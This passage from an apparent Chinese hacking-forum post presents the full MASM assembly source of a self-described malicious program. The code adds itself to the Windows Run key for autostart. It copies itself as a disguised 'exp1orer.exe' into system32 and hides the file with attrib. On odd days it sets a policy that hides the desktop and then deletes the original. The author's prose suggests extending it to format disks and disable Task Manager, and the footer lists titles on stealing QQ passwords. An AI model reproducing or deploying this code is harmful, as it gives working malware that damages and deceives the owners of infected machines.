做完后,这一步就到了传播,呵呵,不过偶没写,就来个"invoke deleteFile,addr szDirectory"删除,然后也就退出了"invoke ExitProcess,NULL"虽然说恶意程序,但是破坏的地方不多.如果要模拟"万花谷"的破坏方式,也就是禁止了注册表而已,这个完全可以做到. 程序的完整代码如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
.data
szWin db 'C:\windows\system32\exp1orer.exe',0
szCmdAttrib db 'attrib +R +H C:\windows\system32\exp1orer.exe',0
szDirectory db 0
szRegKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db 'StartPE',0
szStr1 db "C:\WINDOWS\System32\exp1orer.exe"
szWriteKey db 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\',0
szWriteValue db 'NoDesktop',0 ;键值名称
szDword dd 1 ;数据
.data?
hInstance dd ?
hModule dd ?
lpSystemTime SYSTEMTIME <?>
osVersion OSVERSIONINFO <?>
stStartUp STARTUPINFO <?>
stProcInfo PROCESS_INFORMATION <?>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_AttribCmd proc
invoke GetStartupInfo,addr stStartUp
invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
ret
_AttribCmd endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_createKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegcreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr szStr1,32 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_createKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WriteKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegcreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szWriteValue,NULL,\
REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_WriteKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,0
mov hInstance,eax
invoke _createKey,NULL ;设置为启动
invoke GetSystemTime,offset lpSystemTime
movzx ebx,lpSystemTime.wDay ;获取本地日,你可以判断这个变量就可以了。
.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)||(ebx == 29)
invoke GetModuleFileName,hModule,addr szDirectory,200;获取程序路径
invoke CopyFile,addr szDirectory,addr szWin,FALSE
call _AttribCmd
invoke _WriteKey,NULL ;修改注册表,隐藏桌面图表
invoke deleteFile,addr szDirectory
invoke ExitProcess,NULL
.endif
end start
这个程序要是经过恶意修改,格式化磁盘是完全没问题的,无非就是调用一个"createProcess",但是知道了一种调用方法,其他的也是千篇一律,例如对注册表修改,禁止右键,禁止使用任务管理器,禁止IE选项等等所以我声明一下,这个程序带有一点点的攻击性,发表仅仅提供交流,如果使用,后果由使用者自己负责,与作者和邪恶八进制无关~~ 呵呵 :)
| Visual C++编程窃取QQ密码 | 12-08 | |
| 编程实现重起网卡等设备 | 12-07 | |
| 一个邮件群发的Delphi代码! | 12-06 | |
| Delphi下Internet的编程技巧 | 11-20 | |
| Delphi黑客编程-如何映射虚拟盘 | 11-15 | |
| 用DETOURS库获取NT管理员权限 | 11-08 | |
| 一篇关于vb代码质量提高的文章 | 10-30 | |
| 解析Asp.net木马文件操作 | 10-04 | |
| 盗QQ源码 | 10-01 | |
| 如何映射肉鸡磁盘(Delphi黑客编程 | 09-24 | |
| 打造无DLL版穿墙Downloader(Delp | 09-22 | |
| 调用指定的Windows程序(Delphi编 | 09-19 | |